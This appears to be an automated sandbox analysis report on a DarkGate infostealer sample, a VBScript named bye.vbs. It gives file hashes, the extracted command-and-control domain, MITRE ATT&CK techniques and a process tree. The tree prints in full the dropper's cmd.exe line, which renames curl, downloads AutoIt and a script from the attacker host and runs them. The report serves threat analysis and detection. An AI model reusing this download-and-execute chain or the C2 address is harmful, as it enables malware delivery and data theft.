darkgate | 7d4115e88411e7bcac9ed622dbb6554ff4015c6f9fed98a5427970ceada526e6

Resubmissions

03/10/2023, 09:59

231003-lz3tnshf91 10

03/10/2023, 03:21

231003-dwbxsahh45 10

Analysis

max time kernel
419s
max time network
431s
platform
windows10-2004_x64
resource
win10v2004-20230915-de
resource tags

arch:x64arch:x86image:win10v2004-20230915-delocale:de-deos:windows10-2004-x64systemwindows
submitted
03/10/2023, 09:59

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General

Target

bye.vbs
Size

19KB
MD5

a19d814f720701a258a6e8b5a22b22c9
SHA1

cbdcdefb3328f1473bb1da624ed2bf9515ffd2c3
SHA256

7d4115e88411e7bcac9ed622dbb6554ff4015c6f9fed98a5427970ceada526e6
SHA512

51b2a31f0c4fce15d87d1ab88d8e383ee7f8be0e9075183a22c6bfcca48dd30d43ca7987baf3c811ab11a4132199a31213d3096c91a645127f13b7703d3bd044
SSDEEP

384:fwcem3DxZbJ6TZZfOEcMR/vuvP3RhbWbdVIIo+T6ncfzeQhs7h7:YcXZ16/+MRSbbaX9yp7h7

Score

10^/10

darkgate stealer

Malware Config

Extracted

Family

darkgate

http://searcherbigdealk.com

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3964	WScript.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 3 IoCs

pid	Process
3308	dcvj.exe
4744	dcvj.exe
4352	Autoit3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Autoit3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Autoit3.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3964 wrote to memory of 4952	3964	WScript.exe	87
PID 3964 wrote to memory of 4952	3964	WScript.exe	87
PID 4952 wrote to memory of 3308	4952	cmd.exe	89
PID 4952 wrote to memory of 3308	4952	cmd.exe	89
PID 4952 wrote to memory of 4744	4952	cmd.exe	91
PID 4952 wrote to memory of 4744	4952	cmd.exe	91
PID 4952 wrote to memory of 4352	4952	cmd.exe	95
PID 4952 wrote to memory of 4352	4952	cmd.exe	95
PID 4952 wrote to memory of 4352	4952	cmd.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bye.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir c:\dcvj & cd /d c:\dcvj & copy c:\windows\system32\curl.exe dcvj.exe & dcvj -H "User-Agent: curl" -o Autoit3.exe http://searcherbigdealk.com:2351 & dcvj -o iczyya.au3 http://searcherbigdealk.com:2351/msidcvjgknu & Autoit3.exe iczyya.au3
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4952
- - \??\c:\dcvj\dcvj.exe
    dcvj -H "User-Agent: curl" -o Autoit3.exe http://searcherbigdealk.com:2351
    3⤵
    - Executes dropped EXE
    PID:3308
- - \??\c:\dcvj\dcvj.exe
    dcvj -o iczyya.au3 http://searcherbigdealk.com:2351/msidcvjgknu
    3⤵
    - Executes dropped EXE
    PID:4744
- - \??\c:\dcvj\Autoit3.exe
    Autoit3.exe iczyya.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:4352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\dcvj\Autoit3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\dcvj\dcvj.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

Download Submit
C:\dcvj\dcvj.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

Download Submit
\??\c:\dcvj\dcvj.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

Download Submit
\??\c:\dcvj\iczyya.au3

Filesize
915KB

MD5
de9a6d5f83e167fc020bb48f36684155

SHA1
7e2db72b21a9a8ba2b63cd77859dc9ac87b6afc2

SHA256
2f5af97b13b077a00218c60305b4eee5d88d14a9bd042beed286434c3fc6e084

SHA512
6a8eaf08e91c313a55aa25bb8b7637206127cdab77371c6e118df477b045bfcc0c7f4f754df54d8293174992998bec6340b5283cc5df02fb6b7e35402e02d17f

Download Submit
memory/4352-12-0x0000000000DB0000-0x00000000011B0000-memory.dmp

Filesize
4.0MB

Download
memory/4352-13-0x0000000003A70000-0x0000000003B65000-memory.dmp

Filesize
980KB

Download
memory/4352-14-0x0000000004350000-0x0000000004713000-memory.dmp

Filesize
3.8MB

Download
memory/4352-15-0x0000000003A70000-0x0000000003B65000-memory.dmp

Filesize
980KB

Download
memory/4352-16-0x0000000004350000-0x0000000004713000-memory.dmp

Filesize
3.8MB

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Analysis

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General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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